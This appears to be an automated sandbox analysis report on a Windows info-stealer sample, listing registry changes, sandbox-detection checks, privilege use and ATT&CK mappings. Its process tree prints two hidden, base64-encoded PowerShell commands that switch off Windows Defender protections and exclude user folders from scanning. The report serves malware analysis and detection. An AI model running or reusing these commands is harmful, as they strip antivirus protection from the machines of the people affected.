5c08ee4157c41d100fd1d2409c9834cc693823d7a1618a9c10f5153162e0971c

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1392	powershell.exe
3712	powershell.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1392	powershell.exe
3712	powershell.exe
1392	powershell.exe
3712	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeIncreaseQuotaPrivilege	1392	powershell.exe
Token: SeSecurityPrivilege	1392	powershell.exe
Token: SeTakeOwnershipPrivilege	1392	powershell.exe
Token: SeLoadDriverPrivilege	1392	powershell.exe
Token: SeSystemProfilePrivilege	1392	powershell.exe
Token: SeSystemtimePrivilege	1392	powershell.exe
Token: SeProfSingleProcessPrivilege	1392	powershell.exe
Token: SeIncBasePriorityPrivilege	1392	powershell.exe
Token: SeCreatePagefilePrivilege	1392	powershell.exe
Token: SeBackupPrivilege	1392	powershell.exe
Token: SeRestorePrivilege	1392	powershell.exe
Token: SeShutdownPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeSystemEnvironmentPrivilege	1392	powershell.exe
Token: SeRemoteShutdownPrivilege	1392	powershell.exe
Token: SeUndockPrivilege	1392	powershell.exe
Token: SeManageVolumePrivilege	1392	powershell.exe
Token: 33	1392	powershell.exe
Token: 34	1392	powershell.exe
Token: 35	1392	powershell.exe
Token: 36	1392	powershell.exe
Token: SeIncreaseQuotaPrivilege	3712	powershell.exe
Token: SeSecurityPrivilege	3712	powershell.exe
Token: SeTakeOwnershipPrivilege	3712	powershell.exe
Token: SeLoadDriverPrivilege	3712	powershell.exe
Token: SeSystemProfilePrivilege	3712	powershell.exe
Token: SeSystemtimePrivilege	3712	powershell.exe
Token: SeProfSingleProcessPrivilege	3712	powershell.exe
Token: SeIncBasePriorityPrivilege	3712	powershell.exe
Token: SeCreatePagefilePrivilege	3712	powershell.exe
Token: SeBackupPrivilege	3712	powershell.exe
Token: SeRestorePrivilege	3712	powershell.exe
Token: SeShutdownPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeSystemEnvironmentPrivilege	3712	powershell.exe
Token: SeRemoteShutdownPrivilege	3712	powershell.exe
Token: SeUndockPrivilege	3712	powershell.exe
Token: SeManageVolumePrivilege	3712	powershell.exe
Token: 33	3712	powershell.exe
Token: 34	3712	powershell.exe
Token: 35	3712	powershell.exe
Token: 36	3712	powershell.exe
Token: SeIncreaseQuotaPrivilege	1392	powershell.exe
Token: SeSecurityPrivilege	1392	powershell.exe
Token: SeTakeOwnershipPrivilege	1392	powershell.exe
Token: SeLoadDriverPrivilege	1392	powershell.exe
Token: SeSystemProfilePrivilege	1392	powershell.exe
Token: SeSystemtimePrivilege	1392	powershell.exe
Token: SeProfSingleProcessPrivilege	1392	powershell.exe
Token: SeIncBasePriorityPrivilege	1392	powershell.exe
Token: SeCreatePagefilePrivilege	1392	powershell.exe
Token: SeBackupPrivilege	1392	powershell.exe
Token: SeRestorePrivilege	1392	powershell.exe
Token: SeShutdownPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeSystemEnvironmentPrivilege	1392	powershell.exe
Token: SeRemoteShutdownPrivilege	1392	powershell.exe
Token: SeUndockPrivilege	1392	powershell.exe
Token: SeManageVolumePrivilege	1392	powershell.exe
Token: 33	1392	powershell.exe
Token: 34	1392	powershell.exe
Token: 35	1392	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3472 wrote to memory of 1392	3472	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe	90
PID 3472 wrote to memory of 3712	3472	2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe	91

C:\Users\Admin\AppData\Local\Temp\2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_26c6c36e50ac5f42a60023394eee5ebb_akira_glassworm_rusty-stealer.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Looks for VirtualBox Guest Additions in registry
- Identifies Wine through registry keys
- Windows security modification
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFMAYwByAGkAcAB0AFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBNAEEAUABTAFIAZQBwAG8AcgB0AGkAbgBnACAAMAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion